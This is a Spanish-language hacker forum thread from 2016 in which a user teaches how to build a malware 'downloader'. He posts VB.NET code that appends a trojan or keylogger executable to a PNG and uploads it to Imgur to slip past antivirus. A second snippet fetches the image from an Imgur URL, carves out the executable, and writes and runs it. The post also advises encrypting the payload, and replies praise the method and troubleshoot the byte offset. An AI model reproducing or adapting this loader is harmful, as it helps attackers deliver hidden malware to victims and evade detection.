Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario

Iniciado por fudmario, Enero 01, 2016, 12:12:09 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 01, 2016, 12:12:09 PM Ultima modificación: Enero 03, 2016, 02:15:28 PM por Expermicid
Casi siempre me pregunta por SKYPE, si conozco algun hosting de descarga directa que no detecte los antivirus, para subir malware, por lo general siempre respondo: "NO, no conozco ninguno, pero puedes usar cualquier Hosting xD", asi que hoy les voy a mostrar como usar cualquier hosting para subir malware.

Hoy hablaremos sobre un tipo de malware llamado: Downloader.

¿Qué es un Downloader?

CitarEste tipo de malware lo que hace es descarga en secreto archivos maliciosos desde un servidor remoto, para posteriormente ejecutarlo,instalar software malicioso en el Sistema.
CitarBasicamente lo que hace es descargar malware(troyanos,keyloggers,...,etc.) subido en algun hosting, generalmente se usan hosting de descarga directa(ej: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) o en algunos casos suben a servidores tipo Pastebin, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o similares previamente codificado (El problema principal de estos hosting de descarga directa es que son detectados por los AntiVirus.).


Ya sabiendo que es y como funciona, voy a explicar como crear uno (No es muy complicado en realidad es muy sencillo):
Para este proposito usaremos un hosting que permite subir Imagenes llamado "Imgur", si, si Imgur...xD un servidor web que nos permite el almacenamiento de Imagenes.

Subir directamente cambiando de extension a un ejecutable(por un .jpg o .png) no funcionará debido a sus medidas de proteccion que usa para subir imagenes en IMGUR.




Lo que haremos será unir: "imagen + ejecutable",sencillo no?, con eso ya tendriamos solucionado el tema de subir sin problemas el malware, 

El lenguaje de programacion que elijan  para crearlo es indistinto, yo lo haré en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Para unir : "Imagen + Server", lo haremos de la siguiente forma:


Código: vbnet
Dim imgbytes As Byte() = IO.File.ReadAllBytes("D:\img.png") ' Leemos el contenido de la Imagen
        Dim serverbytes As Byte() = IO.File.ReadAllBytes("D:\Anotador.exe") ' Leemos el Contenido del Malware(troyanos, keylogger,....etc)
        Using fs As New IO.FileStream("tmp.png", IO.FileMode.Create) ' Comenzaremos a escribir nuestra nueva imagen con la Imagen Inicial + Server.
            fs.Write(imgbytes, 0, imgbytes.Length)
            fs.Write(serverbytes, 0, serverbytes.Length)
        End Using
        MessageBox.Show("Done!!!")


Subimos la Imagen al Imgur:


Para Descargar el Server, lo haremos de la siguiente manera:

Código: vbnet
Dim imgbytes As Byte() ' Variable para almacenar la imagen
Const imgSize As Integer = 17083   ' Tamaño de la Imagen Inicial
Using wc As New Net.WebClient()
    imgbytes = wc.DownloadData("http://i.imgur.com/6TZKG9q.png")
    Using ms As New IO.MemoryStream(imgbytes, imgSize, imgbytes.Length - imgSize) 'Aqui obtenemos el tamaño del malware, separando de la imagen Inicial.
        ' Aqui se puede hacer cualquier cosa, droppear el archivo en Disco/
        ' IO.File.WriteAllBytes("D:\Test1.exe", ms.ToArray)
        ' Process.Start("D:\Test1.exe")
    End Using
End Using


Algunas cosas que debes considerar:

Si vemos con algun editor Hexadecimal, veremos que se puede ver el ejecutable, una opcion es cifrar el archivo.



Pues nada cualquier duda comentar en el hilo, Mensaje Privado o  por Skype.





Enero 02, 2016, 11:49:28 AM #1 Ultima modificación: Enero 03, 2016, 02:15:38 PM por Expermicid
Como siempre, un grandísimo aporte @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, estoy seguro de que muchos usuarios seguirán tu "consejo" de utilizar un downloader.

Saludos.



Enero 02, 2016, 11:55:05 AM #2 Ultima modificación: Enero 03, 2016, 02:15:56 PM por Expermicid
Es interesante Mario. Enhorabuena ;)

Enero 02, 2016, 12:30:01 PM #3 Ultima modificación: Enero 03, 2016, 02:15:46 PM por Expermicid
Muy muy bueno bro! Felicitaciones por el aporte @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta !

Saludos!
ANTRAX


Enero 02, 2016, 01:54:37 PM #4 Ultima modificación: Enero 03, 2016, 02:16:04 PM por Expermicid
¡Excelente aporte! No sabía esa forma de adjuntar una imagen al ejecutable... +c0in

Saludos

Enero 02, 2016, 03:04:15 PM #5 Ultima modificación: Enero 03, 2016, 02:16:12 PM por Expermicid
 
@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hay gente que tiene arte para explicar. Este post tuyo es prueba de ello.
Gracias por el estupendo aporte!!

Gabi

Tú te enamoraste de mi valentía, yo me enamoré de tu oscuridad; tú aprendiste a vencer tus miedos, yo aprendí a no perderme en tu abismo.

Enero 02, 2016, 07:07:15 PM #6 Ultima modificación: Enero 03, 2016, 02:16:21 PM por Expermicid
Tengo una duda, mas que duda es una pregunta: cuál sería el equivalente Net.Webclient en php? o sería igual a lo siguiente:
header ("Content-Disposition: attachment; filename=$enlace ");
header ("Content-Type: application/force-download");
header ("Content-Length: ".filesize($enlace));
readfile($enlace);
porque no conozco mucho de visual net.
Desde ya, muchas gracias.

Enero 03, 2016, 11:00:16 AM #7 Ultima modificación: Enero 03, 2016, 02:16:28 PM por Expermicid
Gracias a todos por Comentar...xD

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Es interesante Mario. Enhorabuena ;)

No soy mario, es mejor fudmario....xD


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Tengo una duda, mas que duda es una pregunta: cuál sería el equivalente Net.Webclient en php? o sería igual a lo siguiente:
header ("Content-Disposition: attachment; filename=$enlace ");
header ("Content-Type: application/force-download");
header ("Content-Length: ".filesize($enlace));
readfile($enlace);
porque no conozco mucho de visual net.
Desde ya, muchas gracias.
Yo tampoco conozco mucho de PHP, pero el metodo DownloadData de la Clase System.Net.WebClient lo que hace es descargar el contenido de la imagen en una matriz de bytes, no sabria decirte cual es la mejor forma de hacerlo en PHP, talvez podrias hacerlo con: "file_get_contents"


Saludos,.



Enero 03, 2016, 01:12:17 PM #8 Ultima modificación: Enero 03, 2016, 02:16:37 PM por Expermicid
Siempre me gustó tu ingenio fudmario, te felicito por el aporte me parece una técnica muy interesante la cual podríamos extrapolar a otro tipo de ficheros.
Un saludo
Lo que sabemos es una gota de agua; lo que ignoramos es el océano.

Enero 09, 2016, 09:19:23 PM #9 Ultima modificación: Enero 09, 2016, 09:45:12 PM por kastrohack
hola
lo primeo gracias por el tuto
he seguido los pasos pero me da un error


Creo tener mas o menos localizado donde esta el fallo, ya que el binario que use, en este caso un anotador no pesa lo mismo al principio y al final


en el code, el peso de la imagen que he usado es este 4825


yo creo que el fallo tiene que estar ahi, ya que al separarlo es como si la imagen hubiese comido bytes al binario ya que ni siquiera empieza por MZ (viendo en hex)

---------------------------------------------EDIT----------------------------------------------
He probado otra imagen y ya funciona.
saludos

Te voy a dar mi opinión creo que el problema lo tienes con el pointer, me explico si te fijas en el código que fudmario a compartido le dice los bytes de la imagen original Const imgSize As Integer = 17083 , comprueba antes de hacer el join los bytes de la imagen, después introducelos en el código y compilas.

Para que lo comprendas cuando se ejecuta el downloader lo que hace es colocar el pointer  a partir de esos bytes para leer el binario es evidente que si tu imagen pesa 15000+1500 del ejecutable el programa te va a dar error porque el pointer busca a partir de una posición que no existe.

Cuando cree el hermesdownloader lo que hice fue añadir un delimitador al final de la imagen ejemplo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta entonces el downloader buscaba ese delimitador cuando lo detectaba metía en una variable el pointer desde donde empezaba a leer el binario, esto lo hacía desde Java con RandomAccesFile.

Resumiendo lo que debes decirle al programa es a partir de donde tiene que empezar a leer el binario sino transferirá bytes innecesarios o se quedará corto.

Espero te sirva
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Febrero 13, 2018, 05:53:42 PM #11 Ultima modificación: Febrero 13, 2018, 05:57:12 PM por angrymasther
¡Buenas! Me surge una pregunta relacionada con el post, en caso de necesitar actualizar un malware (por poner un ejemplo de cuando usar un downloader xD) ¿No se supone que ya tienes un servidor desde el que se descargó este? Me refiero, ¿Para que subirlo a otro lugar? No sería más sencillo simplemente ponerlo en el mismo servidor e ir descargándolo directamente. A demás el ponerlo desde la imagen crea la necesidad (al menos como lo haría yo) de añadir código para ejecutar solo el código (dejando la parte original de la imagen a parte).

Corregirme si me equivoco, que lo más seguro es que si XDD.

Al día de hoy esto no funciona, imgur me borra la parte que corresponde al binario del ejecutable.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Al día de hoy esto no funciona, imgur me borra la parte que corresponde al binario del ejecutable.

A día de hoy revives un tema de 2016. Normal que pueda haber dejado de funcionar.

Un saludo.